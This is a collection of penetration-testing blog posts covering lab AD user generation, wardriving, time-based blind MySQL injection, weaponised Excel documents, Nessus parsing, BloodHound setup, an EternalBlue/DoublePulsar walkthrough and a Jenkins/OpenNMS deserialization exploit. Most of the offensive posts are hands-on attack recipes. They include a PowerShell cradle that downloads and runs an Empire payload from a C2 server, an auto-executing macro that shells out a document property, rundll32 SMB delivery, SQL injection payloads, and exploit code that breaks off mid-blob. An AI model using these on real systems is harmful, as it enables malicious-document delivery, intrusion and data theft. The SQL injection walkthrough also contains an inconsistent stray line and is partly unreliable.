Rapidly Creating Fake Users in your Lab AD using Youzer

Penetration Testing Lab

Whether you have a fully virtual organisation consisting of several different machines or the odd virtualised box you’re using to explore or freshen up on certain skills. They’re great fun and an asset to any security tester.

Having your own lab is a great way to perform security testing techniques in a controlled environment.

If you’re attempting to build out a lab that replicates a real organisation it’s always good to do things properly. Let’s assume for this post that you’ve already built a Windows Domain Controller for your penetration testing lab.

You now need to create those virtual employees within Active Directory. Creating a few different accounts here and there is a relatively easy task I agree, but what if you want your virtual organisation to consist of hundreds of different users in different departments or organisational units, especially with realworld passwords? Having an Active Directory full of users can be useful for a number of activities one being the extraction of NTDS.dit and practising cracking techniques on any hashes that it may contain.

Enter Youzer

Creating hundreds or even thousands of users is now achievable quickly and simply thanks to a tool called Youzer.

Youzer was written by Matt Lorentzen an ex-colleague of mine and an absolute brain on legs he describes Youzer’s goal on its GitHub page –

The goal of Youzer is to create information-rich Active Directory environments. This uses the python3 library ‘faker’ to generate random accounts.

You can either supply a wordlist or have the passwords generated. The generated option is great for testing things like hashcat rule masks. Wordlist option is useful when wanting to supply a specific password list seeded into an environment, or to practice dictionary attacks.
The output is a CSV and a PowerShell script where both can be copied to the target. When executed, the PowerShell script binds over LDAP so doesn’t rely on the newer Active Directory modules and creates each user object. Currently the OU’s need to exist, but this tool is a sub-project of ‘Labseed’ where the Active Directory structure will be created.



Ok, so you want to give Youzer a try on your newly created Domain Controller for your lab? There are a few pre-requisites that we need to install before we can proceed.

For our environment, I used Microsoft Windows 2012 for reasons. We also need to install the following.

The first being Python 3 – https://www.python.org/ftp/python/3.7.3/python-3.7.3.exe

Figure 1: When installing Python ensure you tick the box which says “Add Python to environment variables”

Once Python3 has been successfully installed we need to install the “faker” python library by issuing the following command from a command shell/powershell instance.

PS C:\Users\Administrator\> pip3 install faker
Figure 2: Installation of the Faker Python library

Now the faker library is installed we can move on to grabbing a password list for Youzer to utilise when generating the users passwords.

A good place to start is Daniel Miessler’s github which has a great selection of Common Passwords. When using Youzer for the first time I grabbed the Probable Top 12000.

Generating Users

We’re now ready to start generating Youzers (see what I did there?), hopefully, by now you have created some organisational units within Active Directory. I created IT, Sales and Management OU’s for our company’s training environment.

Figure 3: The newly created Sales OU

Let’s fire up Youzer and give it some parameters which I will explain…

PS C:\Users\Administrator\Downloads\youzer-master\> python youzer.py --wordlist probable-v2-top12000.txt --ou "ou=Sales,dc=EVILCORP,dc=local" --domain EVILCORP --users 500 --output sales-users.csv

Above we’ve run the Youzer script telling it the following:

–wordlist – Where our password list is located

–ou – The path to our Active Directory Organisational Unit

–domain – Our Domain

–users – How many users we’d like to generate

–output – The name of the CSV file we want to dump the data into, Youzer will then create a PowerShell script of the same name for you to run.

Youzer should have now generated your fake users.

Figure 4: Youzer being run from our PowerShell prompt.

Our output file should have also been populated with all of our newly generated users, Youzer would have also generated a PowerShell script to automate the task of taking these users and populating Active Directory.

Figure 6: Our newly created sales-users.csv

Populating Active Directory

Now our users have been generated and the needed files created we can go ahead and launch the PowerShell script which Youzer created for us in order to populate our Active Directory.

PS C:\Users\Administrator\Downloads\youzer-master> .\sales-users.ps1
Figure 7: Youzer populating Active Directory

Voila, 500 users created with passwords supplied via our wordlist in a matter of minutes.

Figure 8: Populated Active Directory

That brings us to the end of this post, I hope you found the information valuable the tool really does save time and has great potential. Having spoken to Matt Lorentzen he has some great plans coming in the near future so make sure to star the project in GitHub and keep up to date with any new developments.

Until next time.

Wardriving with Kismet, GPS and Google Earth.


Wardriving was once a really popular sport, I myself loved mapping new areas with my trusty Orinco Gold Card. I’m not sure how popular it is these days but I thought I’d write this guide as I came across my GPS dongle and got set it up in Kali Rolling. I then processed the results and dumped them into a usable format which you can then import into Google Earth. As with all of my guides I hope at least one person finds it useful.

The Hardware

This was all setup on a Lenovo thinkpad with the Kali Rolling distribution, I used the following Wireless and GPS adapters which I’ve also included an Amazon link just in case you wanted to purchase them.

Wireless Adapter

I use an Alfa AWUS036NHA which has an Atheros AR9271 chipset and is well supported in Linux it also supports packet injection


GPS Receiver

For the GPS side of things I chose to use the GlobalSat BU-353-S4 receiver. Purely because it’s well supported under Linux and Kismet.

Amazon Link

Setting up the Devices

There are some prerequisites we will need to install to get the GPS working which are not installed by default.

root@Hunter~# apt install gpsd gpsd-clients

Once we have those installed we’re pretty much good to go. Go ahead and plug in your GPS receiver and run the following. My device was located at /dev/ttyUSB0 but yours maybe different so please check.

root@hunter~# gpsd -n -N -D 2 /dev/ttyUSB0
  • -n Don’t wait for a client to connect before polling whatever GPS is associated with it. Some RS232 GPSes wait in a standby mode (drawing less power) when the host machine is not asserting DTR, and some cellphone and handheld embedded GPSes have similar behaviors. Accordingly, waiting for a watch request to open the device may save battery power. (This capability is rare in consumer-grade devices).
  • -N Don’t daemonize; run in foreground. This switch is mainly useful for debugging.
  • -D 2 Set debug level. At debug levels 2 and above, gpsd reports incoming sentence and actions to standard error if gpsd is in the foreground (-N) or to syslog if in the background.
GPSD up and running with debugging level set to 2.

To check whether your GPS receiver has locked onto satellites we can use cpsg which is used to test clients for gpsd, run the following command in a new tab or terminal window

root@hunter~# cgps -s
  • -s Be silent (don’t print raw gpsd data)

Like above you should see some relavant details regarding your position, heading and speed. If you don’t see something like the above then something has gone wrong.

On to Kismet

Ok, now that we know our GPS receiver is working fine from the above steps let’s launch Kismet and start collecting data.

root@hunter~# kismet

Initial Steps

You will be asked a few questions when launching kismet which are pretty straight forward.

I was running my kali instance as root so if you are too you can ignore this and hit OK.

Select Yes here.

You can either change these or leave them as default. Next you will see a console window which you can close. You will then be asked to add a source which will be the name of your Wireless Device in my case it was wlan1

Once you have entered the correct device name select “Add”


After the above steps you should now start seeing Kismet being populated with any Wireless SSID’s that it’s detected. Similar to the screenshot below. If it is then well done you’re successfully capturing wireless data.

Handling the Data

GISKismet is a wireless recon visualisation tool to represent the data gathered using Kismet, we can use this tool to import our captured data and then export into a format which is usable with GoogleEarth so we can visualise our Wardrive. Let’s go ahead and issue our command.

root@hunter~# giskismet -x Kismet-(YOURFILE HERE).netxml

We use the -x switch to tell the tool we’re importing an XML file, ensure you enter your capture file with the .netxml extension.

Now we’ve imported our captured data into GISKismet’s SQLite database we can now grab that data by performing a simple SQL query and exporting it into a kml file which is usable by GoogleEarth. Obviously name your ouput file anything you like.

root@hunter~# giskismet -q "SELECT * FROM wireless" -o YOURNEWFILE.kml
  • -q Query
  • -o Output file

So we now have our newly created .kml file which you can open using GoogleEarth and you should have similar results to the below screenshot.

I Hope you found this guide quick, to the point and most of all helpful.

Efficient Time Based Blind SQL Injection using MySQL Bit Functions and Operators


I was performing some penetration tests in 2011 – 2012 against various PHP applications integrated with MySQL databases which were vulnerable to Time Based Blind SQL Injection.  Due to various constraints and limitations, exploitation was a little tricky and I was forced to investigate a method which allowed me to retrieve data with as little requests as possible.

I stumbled across this paper demonstrating SQL injection using Bit shifting techniques: https://www.exploit-db.com/papers/17073/

During a recent CTF exercise on Hack the Box (https://www.hackthebox.eu/) I found myself revisiting this method to exploit some tricky SQL injection.

This blog post will demonstrate how the ‘right shift’ Operator ( >> ) can be used to enumerate the Binary bits of a value returned from a SQL query.

Note: A full description of Bit Functions and Operators can be found at the following URL: https://dev.mysql.com/doc/refman/5.7/en/bit-functions.html


The right shift operator will shift the number of bits of a binary value 1 location to the right, as illustrated in the example below:

mysql> select ascii(b'01110010');


| ascii(b'01110010') |


|                114 |


1 row in set (0.00 sec)

mysql> select ascii(b'01110010') >> 1;


| ascii(b'01110010') >> 1 |


|                      57 |


1 row in set (0.00 sec)


This can be utilised to enumerate a character of a string when exploiting Blind SQL injection.  This guarantees that the data can be enumerated by a maximum of 8 requests per character if it appears within the full ASCII table.

The data we wish to extract via this method is the first character returned for the query: select user()

First Bit:

We start by finding the value of the first bit:


Two possibilities for this:

0 (Decimal value: 0) // TRUE condition


1 (Decimal value: 1) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false');


| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |


| 0                                                                                    |


1 row in set (2.35 sec)


The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the first bit being 0


Second Bit:

Now we need find the value of the second bit. As before, there are two possibilities for this:

00 (Decimal value: 0) // TRUE condition


01 (Decimal value: 1) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false');


| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |


| false                                                                                |


1 row in set (0.00 sec)



The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the second bit being 1



Third Bit:

Now we need find the value of the third bit. As before, there are two possibilities for this:

010 (Decimal value: 2) // TRUE


011 (Decimal value: 3) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false');


| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |


| false                                                                                |


1 row in set (0.00 sec)


The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the third bit being 1



Fourth Bit:

Now we need find the value of the fourth bit. As before, there are two possibilities for this:

0110 (Decimal: 6) // TRUE


0111 (Decimal: 7) // FALSE


mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false');


| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |


| false                                                                                |


1 row in set (0.00 sec)


The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the fourth bit being 1



Fifth Bit:

Now we need find the value of the fifth bit. As before, there are two possibilities for this:

01110 (Decimal: 14) /// TRUE


01111 (Decimal: 15) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false');


| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |


| 0                                                                                     |


1 row in set (2.46 sec)


The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the fifth bit being 0



Sixth Bit:

Now we need find the value of the sixth bit. As before, there are two possibilities for this:

011100 (Decimal: 28) // TRUE


011101 (Decimal: 29) // FALSE


mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false');


| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |


| 0                                                                                     |


1 row in set (2.44 sec)


The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the sixth bit being 0



Seventh Bit:

Now we need find the value of the seventh bit. As before, there are two possibilities for this:

0111000 (Decimal: 56) // TRUE


0111001 (Decimal: 57) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false');


| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |


| false                                                                                 |


1 row in set (0.00 sec)


The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the seventh bit being 1

The fourth bit must be 1




Eighth Bit:

Now we need find the value of the eighth and final bit. As before, there are two possibilities for this:

01110010 (Decimal: 114) // TRUE


01110011 (Decimal: 115) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false');


| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |


| 0                                                                                      |


1 row in set (2.33 sec)


The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the eight bit being 0



Now we can conclude that the binary value for the first character returned by the query: select user() is 01110010 resulting in a decimal value of 114.  114 being the ‘r’ character of the ASCII table.

mysql> select user();


| user()         |


| root@localhost |


1 row in set (0.00 sec)



In order to demonstrate this type of Blind SQL injection attack, I have demenstrated how to enumerate the first and last binary bit of the first character returned by ‘select user()’ on the bWAPP vulnerable application: (https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/)


  1. SQLi string returning a TRUE condition for the first bit:



  1. SQLi string returning a FALSE condition for the first bit:



  1. SQLi string returning a TRUE condition for the eight bit:


Executing Metasploit & Empire Payloads from MS Office Document Properties (part 2 of 2)


Building on from my previous post, this will primarily focus on delivering an Empire payload via an embedded offensive PowerShell script stored within the ‘comments’ property of an MS Excel document.

PowerShell Empire:

Begin by creating an Empire listener, see Empire’s documentation on how to get started with this by visiting the following URL: https://www.powershellempire.com/?page_id=83

Note that in my configuration as illustrated in the screenshot below, the ‘Host’ entry, does not correspond to my C2 Empire Server, instead, this has been configured to point to a reverse-proxy utilising TLS / SSL encryption.  This is considered to be good ‘OPSEC’ practice and allows easier portability.

The ‘Slack’ configuration has also been configured so that notifications will appear in our chosen Slack channel when agents are established.

Note: The agent strings were left in their default configuration, I advise these to be changed on actual engagements, as Nessus has the ability to detect Empire Listeners via the plugin id: 99592




The next part of the process is to create a stager, this is our payload we’ll use when weaponizing a MS Excel document.  For this example I’m going to use the self-deleting .bat executable:

Empire: listeners) > usestager windows/launcher_bat

(Empire: stager/windows/launcher_bat) > set Listener http

By default, the payload will be written to /tmp.  Serve the payload via HTTP by launching a Python HTTP Server:

root@kali:/tmp# python -m SimpleHTTPServer

Serving HTTP on port 8000 ...




Now it comes to weaponizing the MS Excel document, the steps in order to do this is similar to before, except the following offensive PowerShell script will be used to embed inside the ‘Comments’ property of the MS Excel document:

PowerShell (New-Object System.Net.WebClient).DownloadFile(‘’,’test.bat’);Start-Process ‘test.bat’

Note: The IP address: is our Empire C2 server which is serving the launcher.bat payload.  This will likely to be different in your environment.

Upon execution, the PowerShell script will retrieve the Empire payload and execute it on the victim host.

In order to embed this command into a MS Excel document within the ‘comments’ property and execute it from an embedded Macro.  This can easily be done by using the PowerShell script: ‘Commentator’ (https://github.com/clr2of8/Commentator)


Begin by starting PowerShell:

powershell.exe -exec bypass



Import the module into your PowerShell environment:

Import-Module .\Commentator.ps1



And execute the script to embed our payload into the ‘comments’ property of the MS Excel document:

Invoke-Commentator -OfficeFile .\empire_posh_delivery.xlsx –CommentFile .\empire_posh_payload.txt




Note: Given the size of the PowerShell script above, this was placed within the text file: empire_posh_payload.txt


After successful execution, a copy of your existing MS Office file will be created with the payload embedded:

The new file with added comment has been written to .\empire_posh_delivery-wlc.xlsx.


This can be verified by inspecting the file’s metadata / properties:


Lastly, in order to execute the payload embedded within the ‘comments’ property, the following embedded Macro can be used:

Sub Workbook_Open()

Dim p As DocumentProperty


 For Each p In ActiveWorkbook.BuiltinDocumentProperties

    If p.Name = "Comments" Then

        Shell (p.Value)

    End If


End Sub




Note: In order to utilise auto-execution via the ‘Workbook_Open()’ function, the weaponised MS Excel document needed to be downgraded to Office 98 – 2003 compatibility (.xls)

After the victim has clicked ‘enable editing’ and ‘enable content’, an Empire agent session should appear:





Executing Metasploit & Empire Payloads from MS Office Document Properties (part 1 of 2)


As a penetration tester I’m always excited to see new and creative methods on creating weaponized MS Office documents.  This blog post builds on the following findings published by Black Hills InfoSec: https://www.blackhillsinfosec.com/hide-payload-ms-office-document-properties/

There are numerous ways on how MS Office documents can be abused and weaponised to deliver a variety of cyber-related attacks.  This blog post will demonstrate how quickly and easy it is to hide a Metasploit and Empire payload within a MS Office document and execute it from an embedded Macro.


In the first example I’m going to use a payload generated with Metasploits ‘SMB Delivery’ functionality to Weaponise a MS Excel document.  The ‘SMB Delivery’ is a personal favourite of mine given its simplicity and subtle anti-virus evasion.

Begin by loading the relevant module into Metasploit:

use exploit/windows/smb/smb_delivery





Set the payload to anything you desire, in this example I’ll be using the Windows Meterpreter Reverse HTTPS payload:

set PAYLOAD windows/meterpreter/reverse_https




Finally, issue the ‘exploit’ command to begin staging the attack:


Now, in order to utilise this, we will need execute the following command on the victim host:

rundll32.exe \\\PPuUdw\test.dll,0



Note: the folder path is randomly generated as we didn’t explicitly define it within the Metasploit options

In order to achieve this, we’re going to embed this command into a MS Excel document within the ‘comments’ property and execute it from an embedded Macro.  This can easily be done by using the Powershell script: ‘Commentator’ (https://github.com/clr2of8/Commentator)


Begin by starting PowerShell:

powershell.exe -exec bypass



Import the module into your PowerShell environment:

Import-Module .\Commentator.ps1



And execute the script to embed our payload into the ‘comments’ property of the MS Excel document:

Invoke-Commentator -OfficeFile .\msf_smb_delivery.xlsx -Comment "rundll32.exe \\\PPuUdw\test.dll,0"




After successful execution, a copy of your existing MS Office file will be created with the payload embedded:

The new file with added comment has been written to .\msf_smb_delivery-wlc.xlsx.


This can be verified by inspecting the file’s metadata / properties:


Lastly, in order to execute the payload embedded within the ‘comments’ property, the following embedded Macro can be used:


Sub Workbook_Open()

Dim p As DocumentProperty


 For Each p In ActiveWorkbook.BuiltinDocumentProperties

    If p.Name = "Comments" Then

        Shell (p.Value)

    End If


End Sub




Note: In order to utilise auto-execution via the ‘Workbook_Open()’ function, the weaponised MS Excel document needed to be downgraded to Office 98 – 2003 compatibility (.xls)

After the victim has clicked ‘enable editing’ and ‘enable content’, a Meterpreter session should appear:


Reporting SSL/TLS Issues the Easy Way with YANP

What’s YANP I hear you ask? YANP stands for “Yet Another Nessus Parser” written by Alessandro Di Pinto and I’m over the moon that I found it. I’ll tell you why.

Getting all the IP addresses and ports together from Nessus to stick them into other tools such as TestSSL.sh or SSLScan can take away valuable time on large engagements when the time could be spent looking into more harder to detect vulnerabilities. Ultimately we have a duty to our clients to report all our findings and it’s just another thing that needs to be done.

But.. Just because it needs to be done doesn’t mean we can’t get it done quicker and that’s where YANP comes into play.

What is YANP?

The below is taken from the projects GitHub page.

Yet Another Nessus Parser (YANP) is a parser able to extract information from Tenable Nessus’s .nessus file format. The main tool’s objective is to export vulnerability assessment reports in a parsable way. The user is able to choose an appropriate output format in order to save the Nessus’ reports following various advanced needs.


Here I will show you my flow of getting the SSL/TLS issues pulled out of Nessus easily and quickly , I’m writing this to help anyone who finds it time-consuming too. By all means if anyone out there reading this has a better way of doing things please let me know, your comments will be much appreciated.


Installing YANP

Any tools I get from GitHub I stick in my /home/james/tools directory. Let’s git clone YANP to our local system please change the path to a directory of your choosing.

These steps were taken on a kali-linux virtual machine and assumes you have both git and python installed.
cd /home/james/tools
git clone https://github.com/adipinto/yet-another-nessus-parser

cd yet-another-nessus-parser

OK so we’ve cloned the repository and we’re now sitting in the YANP directory.


Parsing for Use with Other Tools

Now it’s time to parse your .nessus file to gain the information we need. As you know, this tutorial is aimed at SSL/TLS issues but you can parse the file for any issues of your choosing.

Let’s have a look the options first.

python yanp.py

As you can see there are a few options that we can use, we can search using the specific PluginID or PluginName for example. In this instance I’m going to search for “SSL” using the PluginName option using the “-d” switch. We’re also going to tell YANP where our .nessus file is using the “-i” switch.

python yanp.py -i /home/james/Downloads/sample.nessus -d SSL

You should see some output similar to mine below.

That’s all good and well but we can’t use that for anything except viewing it really. Let’s clean it up a little by piping it to “cut”. You will see I have set the delimiter to a space (-d ” “) and chosen the first field (-f 1) to grab just the list of IP addresses and ports.

python yanp.py -i /home/james/Downloads/sample.nessus -d SSL | cut -d " " -f 1

That’s a little better but I see there are duplicates in there too. Let’s use “sort” and “uniq” to remove the duplicated entries.

python yanp.py -i /home/james/Downloads/sample.nessus -d SSL |cut -d " " -f 1| sort | uniq

That looks a lot better and we now have usable list that we can pass to other tools for analysis but first let’s transfer this data into a file.

python yanp.py -i /home/james/Downloads/sample.nessus -d SSL | cut -d " " -f 1 | sort | uniq > ssl-issues.txt

You can now use your newly created ssl-issues.txt file as the target list for other tools such as SSLScan. Again, you can search for anything via the PluginName or PluginID switches and output whatever you need.


Parsing for Specific Issues

You should now get the gist of what YANP can do and you’re probably coming up with your own ideas of how to use it. For this next example we will search for a specific SSL issue such as “BEAST” , we will get the affected host details for later use in our report.

python yanp.py -i /home/james/Downloads/sample.nessus -d BEAST

You now see a list that we can use for our report which tells the client the IP, Port and Issue.

Parsing to CSV

We can also parse the .nessus file and create a CSV for later manipulation using the following command which will create the file “issues.csv”.

python yanp.py -i /home/james/Downloads/sample.nessus --csv issues

Well, that’s it for this post. Learning this saved me a heap of time on client sites. There is more than likely better ways to do this but this suited me at the time and thought it could help somebody else facing the same issues.

As always please feel free to contact me I’d love to hear better ways of doing things. We’re all here to learn right?

Special thanks to Allesandro Di Pinto for YANP.

Quick Guide to Installing Bloodhound in Kali-Rolling


I have had a few people over the last couple of months asking me how to get Bloodhound up and running after I had sung its praise since seeing the “Six Degrees to Domain Admin” video from BSIDES Las Vegas. If you still haven’t seen the video I am referring to I suggest you take a peek before proceeding.

It really is such an awesome tool and I highly recommend it to not only info-sec professionals but to anyone who administrates an Active Directory environment.

The awesome news is that Bloodhound is now in the Kali Linux repository’s and is super easy to install and get up and running and I will show you how.


Ensure an up-to-date system.

Firstly, please ensure you’re running the latest and greatest by performing a dist-upgrade like so.

apt-get update

and then

apt-get dist-upgrade


Installing Bloodhound

You guessed it, simply run the following. Bloodhound depends on neo4j so that will be installed as well.

apt-get install bloodhound


Change the Default Password for Neo4j

We really should change the default password for Neo4j, you know.. For reasons.

Let’s launch Neo4j

neo4j console

We now have a remote interface available at http://localhost:7474. Let’s head over there via a browser and change that default password. You will also see that it enabled Bolt on the localhost, we need this for later.

Login with the default credentials (below) you will then be asked to change the password :-

  • Username: neo4j
  • Password: neo4j

Go ahead and complete the password change and close the browser window.


Let the Hound See The Blood

Pop a new terminal window open and run the following command to launch Bloodhound, leave the Neo4j console running for obvious reasons.


As you can see, Bloodhound is now running and waiting for some user input. Earlier when launching Neo4j it also enabled Bolt on bolt:// You need to use this as your Database URL.

  • Database URL – bolt://
  • Username – neo4j
  • Password – your newly changed password

Hit login and you should be presented with the Bloodhound tool minus any data. You can now import your data and get analyzing.

Hopefully this was a nice and quick guide to help anyone out there having any issues getting up and running with the awesome tool that is Bloodhound.

I also want to take a moment to thank @_wald0@CptJesus, and @harmj0y for their continued hard work on this amazing project.

Cheers Guys!

Exploiting MS17-010 – Using EternalBlue and DoublePulsar to gain a remote Meterpreter shell

This walk through assumes you know a thing or two and won’t go into major detail. After all it’s meant for fellow researchers and penetration testers.

Findings so far…

Findings from using these tools are the following so far

The default process that Doublepulsar injects into is ‘lsass’ It was observed that whilst testing against Windows 2008 R2 SP1 that this caused the ‘lsass’ process to become unstable over time and resulting in some cases in a BSOD.

  • No domain is needed for the tools to work.
  • An active user session is also not needed.

Fuzzbunch setup

Firstly we need to setup our environment for the ShadowBroker tools to run in.

In my case I created a Windows 7 VM for the task.

Prerequisites for this exercise are

Once your environment is setup and you have downloaded the ShadowBroker archive, unzip it to a path of your choice.

In this instance I chose the root of the C: drive.

We then need to edit a few of the files to work with our environment as on first run you will receive various error messages.

Firstly we need to edit the “fb.py” file located in the /windows folder and comment out the line below.

Save the file and open up “Fuzzbunch.xml” you now need to change the “ResourcesDir” and “LogDir” path to match that of your environment.

Note: If there is no log directory then please create it and add the path.

We should now be ready to run the Fuzzbunch tool.

Launch a command prompt and navigate to the /windows folder inside the ShadowBrokers folder.

Type the below command and hit return.


FuzzBunch should now be running in your command prompt like the below screen shot.

Listener and Payload

Now, we need to setup our Linux attack box.  For the purpose of this post I’ll be using a Kali rolling VM with Metasploit installed.

Let’s go ahead and launch Metasploit, create a DLL payload and listener.

The target I am attacking is a x64 Windows  Server 2008 R2 system. So I setup the following payload and saved it as shown in the screen shot below.

Now for the handler a x64 reverse tcp meterpreter.

We’ll run the handler and move on to the next step.

OK, the payload you created needs copying over to the virtual machine where FuzzBunch is sitting and waiting.

Back to Fuzzbunch

Let’s return to our Windows VM.

We can now start entering our details into the FuzzBunch tool.

For most settings we can accept the defaults, the ones that we do need to change are below.

[?] Default Target IP Address [] : Your Target's IP
[?] Default Callback IP Address [] : Your VM's IP
[?] Use Redirection [yes] : NO
[?] Base Log directory [c:\logs] : Input your log path
Index     Project
-----     -------
0         Create a New Project
[?] Project [0] : 0
[?] New Project Name : Give your project a name

Now our initial variables are set you should now be at the fb prompt.


Launching the exploit plugin

Launch the EternalBlue module.

use eternalblue

Again, we can accept all defaults except the below.

[*]  Mode :: Delivery mechanism

    0) DANE     Forward deployment via DARINGNEOPHYTE
   *1) FB       Traditional deployment from within FUZZBUNCH

[?] Mode [0] : 1

Change the above from it’s default setting of “0” to “1”, you can then execute the exploit, (Some details from my test have been redacted for security).


Injecting our DLL payload

Now the tool has created the backdoor onto the vulnerable system we can now move on to running DoublePulsar which will inject our DLL payload.

use doublepulsar

Once again we can accept most of the defaults, just change the variables below.

[*]  Architecture :: Architecture of the target OS

    0) x86     x86 32-bits
   *1) x64     x64 64-bits

The above setting defaults to x86 and will need changing to x64.

[+] Set Architecture => x64

[*]  Function :: Operation for backdoor to perform

   *0) OutputInstall     Only output the install shellcode to a binary file on diskisk.
    1) Ping              Test for presence of backdoor
    2) RunDLL            Use an APC to inject a DLL into a user mode process.
    3) RunShellcode      Run raw shellcode
    4) Uninstall         Remove's backdoor from system

[?] Function [0] :

We need to select option “2” so that we can use our newly created DLL payload.

Next we need to enter the path to our DLL file

[*]  DllPayload :: DLL to inject into user mode

[?] DllPayload [] : PathToOurDLL

All other variables can be left at their default value and you can proceed to execute the plugin.


Hack all the things!

If everything has been successful you should should now have a Meterpreter shell waiting on your attack box.

If you don’t have a shell yet then something has obviously gone wrong, check your steps and leave a comment and I will try and help you through it.


Exploiting the OpenNMS/Jenkins RMI Java Deserialization Vulnerability

Even though this vulnerability was detected back in 2015 I am only starting to notice it popping up on engagements more frequently.

CVE-2015-8103 – Jenkins CLI – RMI Java Deserialization allows remote attackers to execute arbitrary code via a crafted serialized Java object. Apparently, according to Foxglove security Jenkins and OpenNMS are not the only ones that are affected by this issue, Websphere, Weblogic and JBoss are also affected.

Whilst on a recent engagement I tried using the Metasploit module which was readily available but had problems running I then tried another module which was written by Ben Turner also to no avail, I am really not sure why those modules didn’t work for me but I had no time to debug and had to get something that worked sharpish, So I had to look for other ways and here I will show you what I came up with.

The Exploit

Firstly we need a working exploit. The python script I found by Coalfire Labs  worked a treat for me and allowed me to send the commands needed to gain a shell over to the affected server.

Here’s what the code looks like thanks to Pancho

#! /usr/bin/env python3
# Credits:
# http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#opennms
# nessus/plugins/opennms_java_serialize.nasl

# cobbled together by pancho
import socket
import sys

def build(cmd):
  blob_header = '\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x00\x00\x00\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x05\x70\x77\x6e\x65\x64\x73\x7d\x00\x00\x00\x01\x00\x0f\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x52\x65\x6d\x6f\x74\x65\x70\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6e\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x61\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x2e\x41\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x55\xca\xf5\x0f\x15\xcb\x7e\xa5\x02\x00\x02\x4c\x00\x0c\x6d\x65\x6d\x62\x65\x72\x56\x61\x6c\x75\x65\x73\x74\x00\x0f\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61\x70\x3b\x4c\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x70\x78\x70\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x70\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7e\x00\x00\x73\x71\x00\x7e\x00\x05\x73\x7d\x00\x00\x00\x01\x00\x0d\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4d\x61\x70\x70\x78\x71\x00\x7e\x00\x02\x73\x71\x00\x7e\x00\x05\x73\x72\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65